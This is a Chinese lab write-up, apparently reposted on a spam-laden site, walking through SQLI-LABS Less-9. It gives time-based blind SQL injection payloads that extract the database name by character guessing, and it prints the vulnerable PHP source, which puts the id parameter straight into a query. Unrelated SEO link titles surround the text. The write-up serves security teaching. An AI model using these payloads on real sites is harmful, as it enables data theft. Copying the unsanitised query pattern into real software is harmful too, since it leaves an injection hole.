当前位置: 首页 > news >正文

做网站还能赚钱吗网站标题 关键字怎么设置代码

做网站还能赚钱吗,网站标题 关键字怎么设置代码,淄博百度网站建设,线上营销课程关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客 0x01:过关流程 输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来): http://localhost/sqli-labs/Less-9/ 靶场提示 …

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-9/

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了 You are in...........,似乎是认可了我们的操作,但是我们并没有获得什么有效的信息。此时,我们可以再输入几个数据进行测试:

 测试 Payload 01: ?id=1   # 结果: You are in...........测试 Payload 02: ?id=2   # 结果: You are in...........测试 Payload 03: ?id=2-1 # 结果: You are in...........测试 Payload 04: ?id=1'  # 结果: You are in...........测试 Payload 05: ?id=1"  # 结果: You are in...........

如上,我们一共测试了 5 个 Payload,后端返回的一直都是 You are in...........,此时我们需要分析一下了。后端常用的 SQL 注入模板中闭合符号一般是 '",只要我们的 Payload 能够逃逸出这两种符号,后端返回的内容多少都会有些异常的。但是从上面的五组 Payload 来看,后端返回的都是一样的数据。如此,会有两种情况:

  1. 目标后端过滤的很好,我们测试的 Payload 都没有成功逃逸出目标的过滤。

  2. 目标后端过滤的不好,它执行了我们传递给它的参数,但是它通过回显欺骗了我们。

这里笔者更倾向第二种,毕竟要是第一种的话,就测不下去啦。面对这种回显都一样的情况,我们可以采用时间盲注,下面是测试的 Payload(时间盲注的 Payload 需要完美闭合才有用哦):

 测试 Payload 01: ?id=1 and sleep(5) --+    # 响应时间: 11ms测试 Payload 02: ?id=1' and sleep(5) --+'  # 响应时间: 5.04s

可以看到,当我们传递 Payload 02 给服务器后端时,服务器的响应时间明显不正常。根据我们测试的 Payload,我们可以推测出目标后端的 SQL 模板如下:

 select username,password from users where id='$_GET["id"]' LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击(使用[[0x0304B:SQL 注入 —— 时间盲注|时间盲注]]):

 -- 获取当前服务器正在使用的数据库的名称的长度攻击 Payload: ?id=1' and sleep(if(length(database())=1,5,0)) --+'笔者备注: 当响应时间 >= 5s 时,证明猜测正确,否则猜测错误​-- 以下是攻击成功的 Payload 的示例Payload - 猜测目标数据库名长度: ?id=1' and sleep(if(length(database())=8,5,0)) --+'Payload - 获取数据库第一个字符: ?id=1' and sleep(if(mid(database(),1,1)='s',5,0)) --+'Payload - 获取数据库第二个字符: ?id=1' and sleep(if(mid(database(),2,1)='e',5,0)) --+'....

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,Less-9 GET-Blind-Time based-Single Quotes 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-9 GET-Blind-Time based-Single Quotes 后端的部分源码,以及笔者做的笔记:

<?php//including the Mysql connect parameters.include("../sql-connections/sqli-connect.php");     // 获取数据库连接函数error_reporting(0);​// take the variablesif (isset($_GET['id'])) {$id = $_GET['id'];//logging the connection parameters to a file for analysis.$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);​// connectivity ​​$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 服务器后端实际执行的 SQL 语句,因为没有过滤,虽然无回显,但通过时间盲注还是能发现$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);​if ($row) {     // 如果查询到结果,输出 You are in .....echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";} else {        // 如果没有查询到结果,也输出 You are in .......echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysqli_error($con1));//echo "You have an error in your SQL syntax";echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}} else {echo "Please input the ID as parameter with numeric value";}?>

http://www.yayakq.cn/news/667158/

相关文章:

  • 工会网站建设请示wordpress 做管理系统
  • 专业网站建设培训机构大数据营销案例
  • 网站新闻不收录百度收录最高发帖网站
  • 校园网站建设的缺陷wordpress php7.1
  • 做网站宽度企业该如何进行网站推广
  • 网站设计一般用什么软件公司做网站需要哪些内容
  • 网站迁移后 域名好的ftp网站
  • 个人网站备案需要什么资料工农区网站建设
  • 搜搜提交网站php网站后台开发
  • 网站正在建设中 文案佛山网站建设和维护
  • 招聘网站数据分析怎么做有名设计网站
  • 网站优化有什么用wordpress商务套餐
  • 建设银行天津分行网站宁波十大广告传媒公司
  • 宝应县城乡建设局网站辽宁智能网站建设制作
  • 浙江省专业网站制作网站建设工业设计展会2023
  • 一级a做爰片i免费网站个人网站建设考察报告
  • 做农业网站北京建设工程信息网人员库里的人怎么删除
  • 追波设计网站邯郸匿豪网络科技有限公司
  • 南宁企业门户网站建设价格在网上怎么卖货
  • 网站制作教程图解企业网站需求文档
  • 旅游网站 功能熊猫关键词工具
  • 编程一小时网站wordpress播放百度云
  • 保定网站制作费用茶企业网站建设模板
  • 网站建设太金手指六六二五政务公开 网站建设滞后
  • 视觉传达毕业设计作品网站做网站公司 汉狮网络
  • 大连网红培训基地找谁做网站优化
  • 桂林 网站建设网站建设与管理试题一
  • 重庆快速建站国内网站做得好的公司
  • 专业做毕业设计网站设计山西电商网站开发
  • 友情链接平台网站国外自建站怎么样